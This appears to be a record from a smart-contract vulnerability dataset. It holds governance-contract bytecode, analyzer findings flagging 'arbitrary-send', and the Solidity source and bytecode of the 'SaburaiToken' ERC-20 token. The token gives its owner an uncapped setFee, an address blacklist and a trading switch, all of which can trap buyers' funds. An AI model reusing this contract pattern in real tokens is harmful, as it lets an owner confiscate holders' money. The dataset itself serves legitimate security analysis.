633a66f9019183919061106c90879060200161273c565b604051602081830303815290604052856040518563ffffffff1660e01b815260040161109b9493929190612769565b602060405180830381600087803b1580156110b557600080fd5b505af11580156110c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106e79190612432565b69152d02c7e14af680000090565b6002546001600160a01b031633146111255760405162461bcd60e51b815260040161062f90612978565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561116657600080fd5b505af115801561117a573d6000803e3d6000fd5b50505050565b600254600160a01b900460ff1681565b6000546001600160a01b031681565b60035481565b60006111af6110ed565b600180546001600160a01b03169063782d6fe19033906111d0904390611c7c565b6040518363ffffffff1660e01b81526004016111ed929190612750565b60206040518083038186803b15801561120557600080fd5b505afa158015611219573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123d9190612586565b6001600160601b0316116112635760405162461bcd60e51b815260040161062f90612eb5565b84518651148015611275575083518651145b8015611282575082518651145b61129e5760405162461bcd60e51b815260040161062f90612d46565b85516112bc5760405162461bcd60e51b815260040161062f90612e69565b6112c4610f89565b865111156112e45760405162461bcd60e51b815260040161062f90612cd3565b3360009081526005602052604090205480156113615760006113058261098e565b9050600181600781111561131557fe5b14156113335760405162461bcd60e51b815260040161062f90612f61565b600081600781111561134157fe5b141561135f5760405162461bcd60e51b815260040161062f90612be0565b505b600061136f43610af8610989565b9050600061137f82610af861058c565b6003805460010190559050611392611e07565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550604082015181600201556060820151816003019080519060200190611475929190611e7c565b5060808201518051611491916004840191602090910190611ee1565b5060a082015180516114ad916005840191602090910190611f28565b5060c082015180516114c9916006840191602090910190611f81565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516115af99989796959493929190613137565b60405180910390a1519998505050505050505050565b60046115d08261098e565b60078111156115db57fe5b146115f85760405162461bcd60e51b815260040161062f906129d5565b600081815260046020818152604080842084548251630d48571f60e31b8152925191959461164d9442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610ac057600080fd5b905060005b60038301548110156117f5576117ed83600301828154811061167057fe5b6000918252602090912001546004850180546001600160a01b03909216918490811061169857fe5b90600052602060002001548560050184815481106116b257fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156117405780601f1061171557610100808354040283529160200191611740565b820191906000526020600020905b81548152906001019060200180831161172357829003601f168201915b505050505086600601858154811061175457fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156117e25780601f106117b7576101008083540402835291602001916117e2565b820191906000526020600020905b8154815290600101906020018083116117c557829003601f168201915b505050505086611ca8565b600101611652565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d74908590849061321b565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b61185b611fda565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b60056118cd8261098e565b60078111156118d857fe5b146118f55760405162461bcd60e51b815260040161062f90612a3f565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611a4b576000546004830180546001600160a01b0390921691630825f38f91908490811061194857fe5b906000526020600020015484600301848154811061196257fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061198a57fe5b90600052602060002001548660050186815481106119a457fe5b906000526020600020018760060187815481106119bd57fe5b9060005260206000200188600201546040518763ffffffff1660e01b81526004016119ec959493929190612852565b6000604051808303818588803b158015611a0557600080fd5b505af1158015611a19573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052611a42919081019061244a565b50600101611916565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611a7b91906128ee565b60405180910390a15050565b6001611a928361098e565b6007811115611a9d57fe5b14611aba5760405162461bcd60e51b815260040161062f9061303a565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611b035760405162461bcd60e51b815260040161062f90612b65565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611b39918a91600401612750565b60206040518083038186803b158015611b5157600080fd5b505afa158015611b65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b899190612586565b90508315611bb257611ba88360090154826001600160601b0316611c50565b6009840155611bcf565b611bc983600a0154826001600160601b0316611c50565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611c409088908890889086906127d5565b60405180910390a1505050505050565b600082820183811015611c755760405162461bcd60e51b815260040161062f90612d1b565b9392505050565b600082821115611c9e5760405162461bcd60e51b815260040161062f90613084565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611cd69088908890889088908890602001612806565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611d0891906128ee565b60206040518083038186803b158015611d2057600080fd5b505afa158015611d34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d589190612416565b15611d755760405162461bcd60e51b815260040161062f90612dff565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611dad9088908890889088908890600401612806565b602060405180830381600087803b158015611dc757600080fd5b505af1158015611ddb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611dff9190612432565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611ed1579160200282015b82811115611ed157825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611e9c565b50611edd929150611ffa565b5090565b828054828255906000526020600020908101928215611f1c579160200282015b82811115611f1c578251825591602001919060010190611f01565b50611edd929150612019565b828054828255906000526020600020908101928215611f75579160200282015b82811115611f755782518051611f6591849160209091019061202e565b5091602001919060010190611f48565b50611edd92915061209b565b828054828255906000526020600020908101928215611fce579160200282015b82811115611fce5782518051611fbe91849160209091019061202e565b5091602001919060010190611fa1565b50611edd9291506120b8565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611edd5780546001600160a01b0319168155600101611ffb565b5b80821115611edd576000815560010161201a565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061206f57805160ff1916838001178555611f1c565b82800160010185558215611f1c5791820182811115611f1c578251825591602001919060010190611f01565b80821115611edd5760006120af82826120d5565b5060010161209b565b80821115611edd5760006120cc82826120d5565b506001016120b8565b50805460018160011615610100020316600290046000825580601f106120fb5750612119565b601f0160209004906000526020600020908101906121199190612019565b50565b80356001600160a01b03811681146118bc57600080fd5b600082601f830112612143578081fd5b813561215661215182613250565b613229565b81815291506020808301908481018184028601820187101561217757600080fd5b60005b8481101561219e5761218c888361211c565b8452928201929082019060010161217a565b505050505092915050565b600082601f8301126121b9578081fd5b81356121c761215182613250565b818152915060208083019084810160005b8481101561219e576121ef888484358a01016122b7565b845292820192908201906001016121d8565b600082601f830112612211578081fd5b813561221f61215182613250565b818152915060208083019084810160005b8481101561219e57612247888484358a01016122b7565b84529282019290820190600101612230565b600082601f830112612269578081fd5b813561227761215182613250565b81815291506020808301908481018184028601820187101561229857600080fd5b60005b8481101561219e5781358452928201929082019060010161229b565b600082601f8301126122c7578081fd5b81356122d561215182613270565b91508082528360208285010111156122ec57600080fd5b8060208401602084013760009082016020015292915050565b600060208284031215612316578081fd5b611c75838361211c565b60008060408385031215612332578081fd5b61233c848461211c565b946020939093013593505050565b600080600080600060a08688031215612361578081fd5b853567ffffffffffffffff80821115612378578283fd5b61238489838a01612133565b96506020880135915080821115612399578283fd5b6123a589838a01612259565b955060408801359150808211156123ba578283fd5b6123c689838a01612201565b945060608801359150808211156123db578283fd5b6123e789838a016121a9565b935060808801359150808211156123fc578283fd5b50612409888289016122b7565b9150509295509295909350565b600060208284031215612427578081fd5b8151611c75816132cc565b600060208284031215612443578081fd5b5051919050565b60006020828403121561245b578081fd5b815167ffffffffffffffff811115612471578182fd5b8201601f81018413612481578182fd5b805161248f61215182613270565b8181528560208385010111156124a3578384fd5b6124b48260208301602086016132a0565b95945050505050565b6000602082840312156124ce578081fd5b5035919050565b600080604083850312156124e7578182fd5b823591506124f8846020850161211c565b90509250929050565b60008060408385031215612513578182fd5b823591506020830135612525816132cc565b809150509250929050565b600080600080600060a08688031215612547578283fd5b853594506020860135612559816132cc565b9350604086013560ff8116811461256e578384fd5b94979396509394606081013594506080013592915050565b600060208284031215612597578081fd5b81516001600160601b0381168114611c75578182fd5b6000815180845260208085019450808401835b838110156125e55781516001600160a01b0316875295820195908201906001016125c0565b509495945050505050565b6000815180845260208085018081965082840281019150828601855b85811015612636578284038952612624848351612672565b9885019893509084019060010161260c565b5091979650505050505050565b6000815180845260208085019450808401835b838110156125e557815187529582019590820190600101612656565b6000815180845261268a8160208601602086016132a0565b601f01601f19169290920160200192915050565b600081546001808216600081146126bc57600181146126da57612718565b60028304607f16865260ff1983166020870152604086019350612718565b600283048087526126ea86613294565b60005b8281101561270e5781546020828b01015284820191506020810190506126ed565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e060608301526127c460e0830185612672565b905082608083015295945050505050565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261282d60a0830186612672565b828103606084015261283f8186612672565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a0604083015261287960a083018661269e565b828103606084015261283f818661269e565b60006080825261289e60808301876125ad565b82810360208401526128b08187612643565b905082810360408401526128c481866125f0565b905082810360608401526128d881856125f0565b979650505050505050565b901515815260200190565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b602081016008831061295f57fe5b91905290565b600060208252611c756020830184612672565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b6020808252604c908201527f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60408201527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060608201526b33b7bb1033bab0b93234b0b760a11b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b6020808252601490820152731d1a5b595b1bd8dac8185b1c9958591e481cd95d60621b604082015260600190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b6020808252604a908201527f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360408201527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6060820152693b1033bab0b93234b0b760b11b608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6060820152630c2e8c6d60e31b608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465604082015275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b606082015260800190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b0389166020820152610120604082018190526000906131628382018b6125ad565b90508281036060840152613176818a612643565b9050828103608084015261318a81896125f0565b905082810360a084015261319e81886125f0565b90508560c08401528460e08401528281036101008401526131bf8185612672565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561324857600080fd5b604052919050565b600067ffffffffffffffff821115613266578081fd5b5060209081020190565b600067ffffffffffffffff821115613286578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b838110156132bb5781810151838201526020016132a3565b8381111561117a5750506000910152565b801515811461211957600080fdfea2646970667358221220b7e2336c27c69c2a2bee51a30ebfe5e9ac3b7ce785aa3c2e368e0ccf70ade00b64736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,309 |
0x100c7e86c4764e4ce05c085bdbea9d91b0b49afe
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SaburaiToken ETH
// Dev : Philip Edward
// Website: www.saburaitoken.com
// Twitter: https://twitter.com/SaburaiToken (@SaburaiToken)
// TG: https://t.me/SaburaiToken
// DEV : https://t.me/Saburai_dev
// ......... S A B U R A I ........
/// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SaburaiToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "SaburaiToken";
string private constant _symbol = "SaburaiToken";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 16;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 16;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xdD6556976CB365f21CC45d3698320A49D9764767);
address payable private _marketingAddress = payable(0xdD6556976CB365f21CC45d3698320A49D9764767);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610527578063dd62ed3e14610547578063ea1644d51461058d578063f2fde38b146105ad57600080fd5b8063a2a957bb146104a2578063a9059cbb146104c2578063bfd79284146104e2578063c3c8cd801461051257600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b41146101fe57806398a5c3151461048257600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611931565b6105cd565b005b34801561020a57600080fd5b50604080518082018252600c81526b29b0b13ab930b4aa37b5b2b760a11b6020820152905161023991906119f6565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a4b565b61066c565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611a77565b610683565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ab8565b6106ec565b34801561036d57600080fd5b506101fc